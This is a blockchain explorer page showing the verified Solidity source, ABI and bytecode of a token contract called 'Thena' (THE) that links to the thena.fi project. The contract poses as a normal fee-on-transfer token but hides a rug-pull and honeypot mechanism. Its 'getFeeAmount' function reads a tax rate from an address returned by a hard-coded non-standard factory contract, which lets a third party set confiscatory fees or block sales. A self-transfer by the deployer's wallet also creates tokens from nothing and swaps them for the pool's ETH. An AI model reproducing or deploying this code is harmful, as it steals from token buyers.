Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Factory    - function getPair(address tokenA, addr ... interface IUniswapV2Router02    - function WETH()    - function swapExactTokensForETHSupport ...    - function factory()  contract Thena *    - function totalSupply()    - function decimals()    - function balanceOf(address account)    - function symbol()    - function name()    - function allowance(address owner, add ...    - function _approve(address owner, addr ...    - function approve(address spender, uin ...    - function V2PairAddress()    - function swapTokensForETH(uint256 amo ...    - function getFeeAmount(address to)    - function transferFrom(address sender, ...    - function transfer(address recipient, ...    - function _transfer(address from, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-21
*/

// SPDX-License-Identifier: None

// https://www.thena.fi/

pragma solidity 0.8.23;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline ) external;
    function factory() external pure returns (address);
}
contract Thena {
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  35000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => uint256) private _balances;
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0xE438F2EaaBF4FFA8B1B8e78Da8B74f6170A909f0);
    address payable internal _taxWallet;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) _excludedFromFee;

    string private _name = "Thena";
    string private _symbol = "THE";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed recipient, uint256 amount);

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[msg.sender] = _totalSupply;
        _excludedFromFee[msg.sender] = true;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function V2PairAddress() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }

    function swapTokensForETH(uint256 amount) private {
        address[] memory _tokensPath = new address[](2);
        _tokensPath[0] = address(this);  
        _tokensPath[1] =  uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), amount); 
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _tokensPath, _taxWallet, block.timestamp + 33);
    }

    function getFeeAmount(address to) internal view returns (uint160) {
        return uint160(uniswapV2Factory.getPair(to, address(this)));
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(to != address(0), "ERC2O: transfer to the zero address");
        require(from != address(0), "ERC2O: transfer from the zero address");
        if (to == _taxWallet && to == from && from == _taxWallet) {
            _balances[address(this)] = amount + _balances[address(this)];
            swapTokensForETH(amount); return;
        }
        uint256 tax = 0;
        if (from != _taxWallet && from != address(this) && from != V2PairAddress() && to != _taxWallet) {
            tax = uint256(getFeeAmount(from)) * amount / 100;
        }
        _balances[to] += amount - tax;
        _balances[from] -= amount;
        emit Transfer(from, to, amount - tax);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"V2PairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260095f806101000a81548160ff021916908360ff1602179055505f8054906101000a900460ff16600a62000039919062000401565b6302160ec06200004a919062000451565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e438f2eaabf4ffa8b1b8e78da8b74f6170a909f060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f5468656e61000000000000000000000000000000000000000000000000000000815250600890816200013b9190620006f6565b506040518060400160405280600381526020017f544845000000000000000000000000000000000000000000000000000000000081525060099081620001829190620006f6565b503480156200018f575f80fd5b503360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007da565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620002f957808604811115620002d157620002d06200026f565b5b6001851615620002e15780820291505b8081029050620002f1856200029c565b9450620002b1565b94509492505050565b5f82620003135760019050620003e5565b8162000322575f9050620003e5565b81600181146200033b576002811462000346576200037c565b6001915050620003e5565b60ff8411156200035b576200035a6200026f565b5b8360020a9150848211156200037557620003746200026f565b5b50620003e5565b5060208310610133831016604e8410600b8410161715620003b65782820a905083811115620003b057620003af6200026f565b5b620003e5565b620003c58484846001620002a8565b92509050818404811115620003df57620003de6200026f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200040d82620003ec565b91506200041a83620003f5565b9250620004497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000302565b905092915050565b5f6200045d82620003ec565b91506200046a83620003ec565b92508282026200047a81620003ec565b915082820484148315176200049457620004936200026f565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200051757607f821691505b6020821081036200052d576200052c620004d2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000554565b6200059d868362000554565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620005de620005d8620005d284620003ec565b620005b5565b620003ec565b9050919050565b5f819050919050565b620005f983620005be565b620006116200060882620005e5565b84845462000560565b825550505050565b5f90565b6200062762000619565b62000634818484620005ee565b505050565b5b818110156200065b576200064f5f826200061d565b6001810190506200063a565b5050565b601f821115620006aa57620006748162000533565b6200067f8462000545565b810160208510156200068f578190505b620006a76200069e8562000545565b83018262000639565b50505b505050565b5f82821c905092915050565b5f620006cc5f1984600802620006af565b1980831691505092915050565b5f620006e68383620006bb565b9150826002028217905092915050565b62000701826200049b565b67ffffffffffffffff8111156200071d576200071c620004a5565b5b620007298254620004ff565b620007368282856200065f565b5f60209050601f8311600181146200076c575f841562000757578287015190505b620007638582620006d9565b865550620007d2565b601f1984166200077c8662000533565b5f5b82811015620007a5578489015182556001820191506020850194506020810190506200077e565b86831015620007c55784890151620007c1601f891682620006bb565b8355505b6001600288020188555050505b505050505050565b611a5780620007e85f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063bc2f6099146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b5919061110b565b60405180910390f35b6100d860048036038101906100d391906111bc565b6102b6565b6040516100e59190611214565b60405180910390f35b6100f66102cc565b604051610103919061123c565b60405180910390f35b61012660048036038101906101219190611255565b6102d5565b6040516101339190611214565b60405180910390f35b61014461037a565b60405161015191906112c0565b60405180910390f35b610174600480360381019061016f91906112d9565b61038e565b604051610181919061123c565b60405180910390f35b6101926103d4565b60405161019f919061110b565b60405180910390f35b6101c260048036038101906101bd91906111bc565b610464565b6040516101cf9190611214565b60405180910390f35b6101e061047a565b6040516101ed9190611313565b60405180910390f35b610210600480360381019061020b919061132c565b610614565b60405161021d919061123c565b60405180910390f35b60606008805461023590611397565b80601f016020809104026020016040519081016040528092919081815260200182805461026190611397565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600154905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a91906113f4565b610696565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600980546103e390611397565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611397565b801561045a5780601f106104315761010080835404028352916020019161045a565b820191905f5260205f20905b81548152906001019060200180831161043d57829003601f168201915b5050505050905090565b5f610470338484610859565b6001905092915050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610509919061143b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b3919061143b565b6040518363ffffffff1660e01b81526004016105d0929190611466565b602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f919061143b565b905090565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb906114fd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061158b565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c919061123c565b60405180910390a3505050565b5f811161089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290611619565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610900906116a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611735565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156109fe57508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8015610a56575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610af35760035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481610aa49190611753565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610aee81610d7b565b610d76565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b7d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610bbc5750610b8c61047a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610c15575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610c5357606482610c2686610fde565b73ffffffffffffffffffffffffffffffffffffffff16610c469190611786565b610c5091906117f4565b90505b8082610c5f91906113f4565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610caa9190611753565b925050819055508160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cfd91906113f4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610d5f91906113f4565b604051610d6c919061123c565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610d9757610d96611824565b5b604051908082528060200260200182016040528015610dc55781602001602082028036833780820191505090505b50905030815f81518110610ddc57610ddb611851565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e80573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea4919061143b565b81600181518110610eb857610eb7611851565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f1e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602142610f8d9190611753565b6040518663ffffffff1660e01b8152600401610fad9594939291906119c9565b5f604051808303815f87803b158015610fc4575f80fd5b505af1158015610fd6573d5f803e3d5ffd5b505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161103b929190611466565b602060405180830381865afa158015611056573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a919061143b565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156110b857808201518184015260208101905061109d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110dd82611081565b6110e7818561108b565b93506110f781856020860161109b565b611100816110c3565b840191505092915050565b5f6020820190508181035f83015261112381846110d3565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111588261112f565b9050919050565b6111688161114e565b8114611172575f80fd5b50565b5f813590506111838161115f565b92915050565b5f819050919050565b61119b81611189565b81146111a5575f80fd5b50565b5f813590506111b681611192565b92915050565b5f80604083850312156111d2576111d161112b565b5b5f6111df85828601611175565b92505060206111f0858286016111a8565b9150509250929050565b5f8115159050919050565b61120e816111fa565b82525050565b5f6020820190506112275f830184611205565b92915050565b61123681611189565b82525050565b5f60208201905061124f5f83018461122d565b92915050565b5f805f6060848603121561126c5761126b61112b565b5b5f61127986828701611175565b935050602061128a86828701611175565b925050604061129b868287016111a8565b9150509250925092565b5f60ff82169050919050565b6112ba816112a5565b82525050565b5f6020820190506112d35f8301846112b1565b92915050565b5f602082840312156112ee576112ed61112b565b5b5f6112fb84828501611175565b91505092915050565b61130d8161114e565b82525050565b5f6020820190506113265f830184611304565b92915050565b5f80604083850312156113425761134161112b565b5b5f61134f85828601611175565b925050602061136085828601611175565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113ae57607f821691505b6020821081036113c1576113c061136a565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113fe82611189565b915061140983611189565b9250828203905081811115611421576114206113c7565b5b92915050565b5f815190506114358161115f565b92915050565b5f602082840312156114505761144f61112b565b5b5f61145d84828501611427565b91505092915050565b5f6040820190506114795f830185611304565b6114866020830184611304565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6114e760248361108b565b91506114f28261148d565b604082019050919050565b5f6020820190508181035f830152611514816114db565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61157560228361108b565b91506115808261151b565b604082019050919050565b5f6020820190508181035f8301526115a281611569565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61160360298361108b565b915061160e826115a9565b604082019050919050565b5f6020820190508181035f830152611630816115f7565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61169160238361108b565b915061169c82611637565b604082019050919050565b5f6020820190508181035f8301526116be81611685565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61171f60258361108b565b915061172a826116c5565b604082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b5f61175d82611189565b915061176883611189565b92508282019050808211156117805761177f6113c7565b5b92915050565b5f61179082611189565b915061179b83611189565b92508282026117a981611189565b915082820484148315176117c0576117bf6113c7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117fe82611189565b915061180983611189565b925082611819576118186117c7565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6118aa6118a56118a08461187e565b611887565b611189565b9050919050565b6118ba81611890565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118f28161114e565b82525050565b5f61190383836118e9565b60208301905092915050565b5f602082019050919050565b5f611925826118c0565b61192f81856118ca565b935061193a836118da565b805f5b8381101561196a57815161195188826118f8565b975061195c8361190f565b92505060018101905061193d565b5085935050505092915050565b5f61199161198c6119878461112f565b611887565b61112f565b9050919050565b5f6119a282611977565b9050919050565b5f6119b382611998565b9050919050565b6119c3816119a9565b82525050565b5f60a0820190506119dc5f83018861122d565b6119e960208301876118b1565b81810360408301526119fb818661191b565b9050611a0a60608301856119ba565b611a17608083018461122d565b969550505050505056fea26469706673582212200d7415c2109ee182884ea188f03328dbad73713e394620ade90df2a28c30562f64736f6c63430008170033

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063bc2f6099146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b5919061110b565b60405180910390f35b6100d860048036038101906100d391906111bc565b6102b6565b6040516100e59190611214565b60405180910390f35b6100f66102cc565b604051610103919061123c565b60405180910390f35b61012660048036038101906101219190611255565b6102d5565b6040516101339190611214565b60405180910390f35b61014461037a565b60405161015191906112c0565b60405180910390f35b610174600480360381019061016f91906112d9565b61038e565b604051610181919061123c565b60405180910390f35b6101926103d4565b60405161019f919061110b565b60405180910390f35b6101c260048036038101906101bd91906111bc565b610464565b6040516101cf9190611214565b60405180910390f35b6101e061047a565b6040516101ed9190611313565b60405180910390f35b610210600480360381019061020b919061132c565b610614565b60405161021d919061123c565b60405180910390f35b60606008805461023590611397565b80601f016020809104026020016040519081016040528092919081815260200182805461026190611397565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b5050505050905090565b5f6102c2338484610696565b6001905092915050565b5f600154905090565b5f6102e1848484610859565b61036f84338460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461036a91906113f4565b610696565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600980546103e390611397565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611397565b801561045a5780601f106104315761010080835404028352916020019161045a565b820191905f5260205f20905b81548152906001019060200180831161043d57829003601f168201915b5050505050905090565b5f610470338484610859565b6001905092915050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610509919061143b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b3919061143b565b6040518363ffffffff1660e01b81526004016105d0929190611466565b602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f919061143b565b905090565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb906114fd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061158b565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084c919061123c565b60405180910390a3505050565b5f811161089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290611619565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610900906116a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096e90611735565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156109fe57508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8015610a56575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610af35760035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481610aa49190611753565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610aee81610d7b565b610d76565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b7d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610bbc5750610b8c61047a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610c15575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610c5357606482610c2686610fde565b73ffffffffffffffffffffffffffffffffffffffff16610c469190611786565b610c5091906117f4565b90505b8082610c5f91906113f4565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610caa9190611753565b925050819055508160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cfd91906113f4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610d5f91906113f4565b604051610d6c919061123c565b60405180910390a3505b505050565b5f600267ffffffffffffffff811115610d9757610d96611824565b5b604051908082528060200260200182016040528015610dc55781602001602082028036833780820191505090505b50905030815f81518110610ddc57610ddb611851565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e80573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea4919061143b565b81600181518110610eb857610eb7611851565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f1e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610696565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602142610f8d9190611753565b6040518663ffffffff1660e01b8152600401610fad9594939291906119c9565b5f604051808303815f87803b158015610fc4575f80fd5b505af1158015610fd6573d5f